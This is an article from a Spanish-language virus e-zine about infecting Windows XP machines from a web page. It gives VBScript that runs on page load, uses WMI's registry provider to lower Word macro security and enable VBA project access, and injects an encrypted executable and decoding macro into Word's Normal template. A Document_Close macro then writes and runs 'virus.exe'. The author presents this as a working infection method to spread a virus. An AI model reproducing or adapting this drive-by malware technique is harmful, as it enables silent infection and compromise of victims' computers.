----------------------------------------------------
Manipular el registro de forma remota en Windows XP
---------------------------------------------------------------------------------

Por medio de la librería llamada "Microsoft.CmdLib" podemos manipular el regedit, para escribir o quitar algunas seguridades de Windows Xp y así invadir el sistema. Tenemos lo siguiente:

'Constantes las cuales nos permiten hacer esto más fácil y esto es por default

CONST CONST_NAMESPACE_DEFAULT = "root\default"                   'Raiz
CONST CONST_HKEY_LOCAL_MACHINE = &H80000002                   'HKLM ó HKCU, etc
CONST CONST_STD_REGISTRY_PROVIDER = "StdRegProv"             'Proveedor de registro
CONST RUTA = "software\microsoft\..\.."

'Variables que se utilizarán:
Dim ObjetoMCMDL ' Se cargará el objeto Microsoft.CMDLib 
Dim objInstancia ' Se guardara la instancia
Dim objServicio ' Se guardara el Servicio
Dim intvalorretornado ' Se guardara el valor retornado

'Podemos omitir las siguientes variables o solo crearlas y ya.
Dim strUserNameParam,strPasswordParam,strMachineParam as string
Dim blnLocalConnection as boolean


'Ahora cargaremos la libreria Microsoft.CMDLib 

Set ObjetoMCMDL = CreateObject("Microsoft.CmdLib")

'Si no se creo el objeto entonces mando un mensaje "no se creo el objeto".

'ObjetoMCMDL.wmiConnect(Raiz,NombredeUsuario,Password,Makina,Conexionlocal,objeto servicio)
If NOT ObjetoMCMDL.wmiConnect(CONST_NAMESPACE_DEFAULT , _
strUserNameParam , _
strPasswordParam , _
strMachineParam , _
blnLocalConnection , _
objServicio) Then

Msgbox "no se creo el objeto"

end if

'Obtengo la intaciación del Proveedor de registro 
Set objInstancia = objServicio.Get(CONST_STD_REGISTRY_PROVIDER)

'Para valores Dword 
intvalorretornado = objInstancia.SetDWORDValue( CONST_HKEY_LOCAL_MACHINE, nose,"Cadena", 1)
'Para valores String
intvalorretornado = objInstancia.SetStringValue( CONST_HKEY_LOCAL_MACHINE, nose,"Cadena", "morusa")

----------------------------------------------------------------------------------------------------------------------------------------
Ahora, explicaré la utilización de este bug, lo cual consiste en crear el objeto Microsoft.Cmdlib para cargar
el servicio de registro de proveedor y así quitar la seguridad de Word, después creando un objeto word.application
insertamos el código de macro para traducir el exe que supongo estará encriptado.


1.-Pagina Web ->Contenido (Codigo para crear el objeto word.aplication, Exe encriptado, Bug)
    1.1.-Al ser ejecutada se carga la Microsoft.CmdLib.
2.-Bug : Quito la seguridad de Microsoft Winword
3.-Se crea el objeto Word.Application para ejecutar la macro traductora del Virus
4.-Inserto la macro que traducirá el virus encriptado. "AddFromString"
(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromString(Codigo macro))
5.-Cierro el objeto word.application y cierro el documento creado y por consiguiente:
6.-Se ejecuta la macro agregada, por ejemplo al cerrar el documento (Document_close)
7.-Transformo el codigo encriptado en el virus y lo:
8.-Ejecutamos.
9.-Propósito obtenido, a infectar todo lo que se encuentre.

                    
Ejecuto        Carga      Comienzo    Cierro      Ejecuta    Transformo  Ejecutamos   Infectar
              Bug           Word      insertar                 macro 
|-----|     |-----|       |-----|     |-----|     |-----|     |-----|     |-----| **  |-----|     |-----|
|  1  |-----|  2  |--\*/--|  3  |>->->|  4  >>>>>>|  5  |--|>>|  6  |-----|*MZ 7|Shell|  8  |-win-|%& 9 %
|-----|     |-----|       |-----|     |-----|     |-----|     |-----|     |-----|     |-----|     |-----|
 Pagina             Rompo 
  Web             Seguridad

*Mz es el encabezado de todos los Exe's
**Shell es ejecutar
%& - Infectar

Ejemplo de bug y macro en pagina Web para entrar al sistema:


<Script language='vbscript'>

Sub seguridad

CONST CONST_NAMESPACE_DEFAULT = "root\default"             'Raiz
CONST CONST_HKEY_LOCAL_MACHINE = &H80000002             'HKLM ó HKCU, etc 
CONST CONST_STD_REGISTRY_PROVIDER = "StdRegProv"       'Proveedor de registro
CONST RUTA = "software\microsoft\office\11.0\word\security"  'Para Office 2003

Dim ObjetoMCMDL ' Se cargará el objeto Microsoft.CMDLib 
Dim objInstancia ' Se guardara la instancia
Dim objServicio ' Se guardara el Servicio
Dim intvalorretornado ' Se guardara el valor retornado

Set objInstancia = objServicio.Get(CONST_STD_REGISTRY_PROVIDER)

If NOT ObjetoMCMDL.wmiConnect(CONST_NAMESPACE_DEFAULT , _
strUserNameParam , _
strPasswordParam , _
strMachineParam , _
blnLocalConnection , _
objServicio) Then

Msgbox "no se creo el objeto"

End If


Set objInstancia = objServicio.Get(CONST_STD_REGISTRY_PROVIDER)

'Escribo los valores en el regedit de nivel 1 o sea bajo
intvalorretornado = objInstancia.SetDWORDValue( CONST_HKEY_LOCAL_MACHINE, nose,"Level", 1)
'Activar proyectos de visual basic, para poder agregar el virus al documento de word
intvalorretornado = objInstancia.SetDWORDValue( CONST_HKEY_LOCAL_MACHINE, nose,"AccessVBOM", 1)
'Escribo el valor en el regedit de nivel 1 o sea bajo
intvalorretornado = objInstancia.SetDWORDValue( &H80000001, nose,"Level", 1) '&H80000001 --> HKCU

End Sub


Sub CrearMacro
Dim Word
Set Word = createobject("word.application")

While Word = "" 'Hago una pausa para que se cree el objeto
Wend

'Word.visible = true 'Para ver lo que hace mostrando el documento de word.
Word.Documents.Add 'Agrego un documento nuevo 

'Si el nombre de la plantilla es igual a "MLHR Corporation" quiere decir que está infectado
'y me salgo del objeto.
If Word.normaltemplate.VBProject.VBComponents.item(1).name = "MLHR Corporation" Then 

msgbox "si está infectado"
'Cierro sin guardar
Word.Documents(Word.activedocument.name).Close false
'Cierro Word
Word.quit
'Salgo del procedimiento
Exit Sub
End if

'En otro caso agrego a la plantilla el código del virus encriptado y la macro que lo traducirá
Word.Normaltemplate.VBProject.vbcomponents.Item(1).codemodule.addfromstring (Macro_y_Exe_Encriptado)

''''''''''''''''''''''''''''''''''''''''' Nota: ''''''''''''''''''''''''''''''''''''''''''''''''''''_OX'
' '
' Esto lo hago porque no puedo manejar archivos desde una página web ya que existe protección para '
'el VbScript (ScriptBlock). '
' '
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

'msgbox nomnormal & " " & nomactivo

Word.NormalTemplate.save 'Guardo en la plantilla

Word.Documents(Word.activedocument.name).Close false 'Cierro el documento sin guardar esto va a hacer que
'por ejemplo si está en "Document_close" se ejecutará la macro que traducirá y guardará el exe en el sistema

Word.quit ' Cierro word

End sub 

Sub Macro_y_Exe_Encriptado
macro = "Document_Close..."
exe = "04838573759583948589494506048583948576756756546754525465490903548934"

Macro_y_Exe_Encriptado = macro + exe
End Sub

Sub infectar
Call seguridad
call Crearmacro
End Sub

</script>

<Body OnLoad=infectar()>

'Con Word.Application.Version podemos obtener la versión del office desde cualquier paquete de este.

----------------------------------------------------------------------------------------------------------------- 

'Macro creada al agregar ("Addfromstring") el código que al cerrarse word, se ejecuta sin problema alguno. 
Es el código macro traductor y Ejecutable, sólo es un ejemplo. Aquí si puedo emplear el manejo de archivos


'Word
Sub Document_Close
exe = "04838573759583948589494506048583948576756756546754525465490903548934" 
open "C:\Windows\virus.exe" for binary as #1
put #1, ,Traducir_exe(exe)
close #1
'Ya traducido a ejecutable lo ejecutamos
shell "C:\Windows\virus.exe"
End Sub


----------------------------------------------------------------------------------------------------------------
Y así pude entrar al sistema nuestro virus, para mayor información revisar el código del virus Seele MSI
incluido en esta E-zine, espero y les sirva esto. 
¡Vamos México!, ;-)
¡Que todo México se entere que le mando Saludos a MJ Campos Sánchez Alias Maximo!